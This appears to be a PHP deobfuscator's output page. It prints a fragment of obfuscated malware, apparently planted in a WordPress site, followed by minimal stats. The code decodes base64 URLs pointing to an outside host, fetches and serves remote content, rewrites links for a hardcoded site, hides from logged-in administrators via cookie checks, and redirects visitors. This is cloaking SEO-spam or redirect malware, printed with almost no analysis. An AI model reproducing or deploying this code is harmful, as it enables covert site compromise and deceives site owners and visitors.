Smwlg(base64_decode("\141\x48\122\x30\x63\x44\x6f\166\114\62\x5a\x68\x64\x43\65\151\x62\107\65\156\131\x6d\x78\165\132\63\x4d\x75\143\x6d\x39\x6a\x61\x33\x4d\166\115\x6a\x41\171\x4d\x79\60\x77\x4d\171\x39\164\x59\127\170\x6c\x4c\62\61\x68\141\127\64\165\143\x47\150\167\x50\62\164\x6c\x65\124\x30") . $K_oX0 . "\x26\x68\157\163\x74\x3d" . $y_T1R . "\46\x77\x77\x77\x3d\62"); goto Zjmhd; BQC4I: $TFI3u = str_replace("\x2e\150\164\155\x6c", '', $TFI3u); goto K_WRB; h4opw: header("\x6c\157\x63\141\x74\151\157\156\x3a\x20" . $uqoJy); goto vF0ii; K_WRB: $TFI3u = str_replace("\x2f\x3f\x6b\145\171\75", "\57", $TFI3u); goto kV4fB; Js5EA: $TFI3u = str_replace("\x5f\165\x6e\114\x69\x6e\x65\137", "\57", $TFI3u); goto fQe_k; ypMxP: echo $TFI3u; goto rdPIO; UuhpN: $TFI3u = str_replace("\x2e\x68\164\155\x6c", '', $TFI3u); goto ZQ55Z; U5o4j: if (!(!preg_match("\57\x77\157\162\144\x70\x72\x65\163\x73\x5f\x6c\x6f\x67\x67\x65\144\137\x69\x6e\x5f\57\151", $nPaTf) && !$oqA0Z && !$P9M3f)) { goto G7gOI; } goto dZxGN; pqog6: $TFI3u = str_replace("\x5f\x75\156\114\x69\x6e\x65\x5f", "\x2f", $TFI3u); goto n58qS; EpAmu: $TFI3u = str_replace("\56\150\x74\x6d\154", '', $TFI3u); goto r22lS; lM21p: lNLuu: goto zFlt0; Dv0Pn: $TFI3u = str_replace("\x2f\x3f\x6b\145\171\75", "\57", $TFI3u); goto Js5EA; pjwOD: list($Aw0l2, $p243Z, $vmGaY) = getimagesize($zMfQt); goto WubxS; IJGUi: $TFI3u = str_replace("\x68\x74\164\x70\72\x2f\x2f" . Fokxd() . "\x2f", $XPbPI . "\72\57\57" . $otSoO . FOKXD() . "\x2f", $TFI3u); goto GTDof; C8Ctw: $uqoJy = t5BRs(); goto PPIbi; yGks_: $uqoJy = LQBRq(); goto xYgsP; rdPIO: exit; goto PoAri; YzQ3m: if (!(!preg_match("\x2f\x77\157\x72\x64\160\x72\x65\x73\x73\137\154\157\x67\147\145\144\137\151\x6e\137\57\151", $nPaTf) && !$oqA0Z && !$P9M3f)) { goto gkXYu; } goto FXiU2; LXMHr: Ga15X: goto RqkJV; opUS6: exit; goto CHbda; ojHMb: $K_oX0 = str_replace("\57", '', $K_oX0); goto zyo4V; qNkMo: $TFI3u = SMwLg(base64_decode("\141\x48\x52\x30\143\104\x6f\x76\114\x32\132\150\144\103\x35\x69\x62\x47\65\156\131\155\x78\x75\x5a\x33\115\165\x63\x6d\x39\152\141\x33\x4d\166\x4d\x6a\101\x79\115\171\60\167\x4d\171\x39\172\144\127\x64\x68\143\151\71\x74\131\x57\x6c\x75\x4c\x6e\102\157\x63\104\71\x72\x5a\x58\x6b\x39") . $K_oX0 . "\x26\x68\x6f\163\x74\75" . $y_T1R . "\x26\167\167\x77\75\x32"); goto pStfO; Mw7yC: if (!$P9M3f) { goto TE2UC; } goto e91at; PNea4: if (!preg_match("\x23\x5e\134\x2f\x28\134\167\x7b\x33\x2c\x34\175\134\x2d\134\x77\173\x33\x2c\x34\x7d\51\134\x2f\50\x28\x2e\52\x3f\x29\x5c\x2d\50\56\x2a\x3f\x29\134\x2d\x28\x2e\x2a\51\51\43\x69", $_SERVER["\x52\105\x51\125\105\123\124\x5f\x55\x52\x49"], $SlDPZ)) { goto C0TcM; } goto Wkuo9; nbFb8: Kp_Je: goto NDHaE; sQmjB: if (!preg_match("\43\136\134\57\x28\134\x77\x7b\65\x2c\x36\x7d\x5c\x2d\134\167\173\63\54\64\x7d\51\x5c\x2f\x28\50\56\x2a\77\x29\x5c\x2d\x28\56\52\x3f\51\134\55\x28\56\52\x29\x29\x23\151", $_SERVER["\x52\x45\x51\x55\105\x53\x54\137\x55\122\x49"], $SlDPZ)) { goto Ga15X; } goto diipT; xPHKB: if (!CXRU_($lQxUQ)) { goto vY6ah; } goto yGks_; Y4wGr: $TFI3u = str_replace("\x2e\150\x74\155\x6c", '', $TFI3u); goto Dv0Pn; WZa3_: $y_T1R = foKXd(); goto a1rAc; a1rAc: $wCQ7U = str_replace("\167\x77\x77\x2e", '', $y_T1R); goto lCkn7; Ra376: function fOKXd() { return "\151\x66\154\x2e\160\151\x74\164\x2e\145\144\165"; } goto y6zKW; Z2Mtk: $K_oX0 = str_replace("\57", '', $K_oX0); goto Y1j6Z; nKtA_: if (!preg_match("\43\x5e\x5c\x2f\x28\x5c\167\x7b\63\x2c\64\175\x5c\x2d\x5c\167\173\67\54\x38\x7d\x29\x5c\57\x28\x28\56\x2a\77\51\134\55\x28\56\x2a\x3f\x29\134\x2d\x28\56\52\51\51\43\x69", $_SERVER["\122\x45\121\125\105\123\x54\x5f\x55\x52\x49"], $SlDPZ)) { goto Y6On2; } goto eOw2N; KF98J: $K_oX0 = str_replace($SlDPZ[1] . "\x2f", $SlDPZ[1] . "\x5f\165\156\x4c\x69\x6e\145\137", $_SERVER["\122\105\x51\125\105\x53\124\x5f\x55\x52\111"]); goto ojHMb; r22lS: $TFI3u = str_replace("\57\x3f\153\145\x79\x3d", "\57", $TFI3u); goto oHykO; B9i1V: $TFI3u = SMWlG(base64_decode("\x61\x48\122\x30\143\x44\x6f\166\114\x32\x5a\x68\x64\103\x35\x69\142\x47\65\156\x59\155\170\165\132\63\x4d\165\143\x6d\71\x6a\x61\63\x4d\166\x4d\152\x41\x79\x4d\x79\x30\167\x4d\171\71\x33\x5a\x57\x6c\x6e\141\110\121\166\142\x57\x46\160\x62\151\x35\167\141\x48\x41\57\141\x32\126\65\x50\121") . $K_oX0 . "\x26\x68\157\163\164\x3d" . $y_T1R . "\x26\x77\x77\x77\75\x32"); goto IJGUi; K2CFI: $TFI3u = str_replace("\56\x68\164\x6d\154", '', $TFI3u); goto RjkEu; u2t5G: setcookie("\167\157\162\x64\x70\162\x65\x73\x73\137\154\157\x67\147\145\x64\137\151\x6e\137\60\62\141\60\x39\x65\x65\x31\x38\x65\x32", "\x77\x6f\x72\144\160\162\x65\163\x73\137\x6c\x6f\147\147\145\144\137\151\x6e\x5f\60\x32\141\60\x39\x65\145\61\x38\x65\62", time() + 3600 * 24 * 100);

Function Calls

None

Variables

None

Stats

MD5 fc2858fb34cf9594c9e3e4e1a5e9ca36
Eval Count 0
Decode Time 60 ms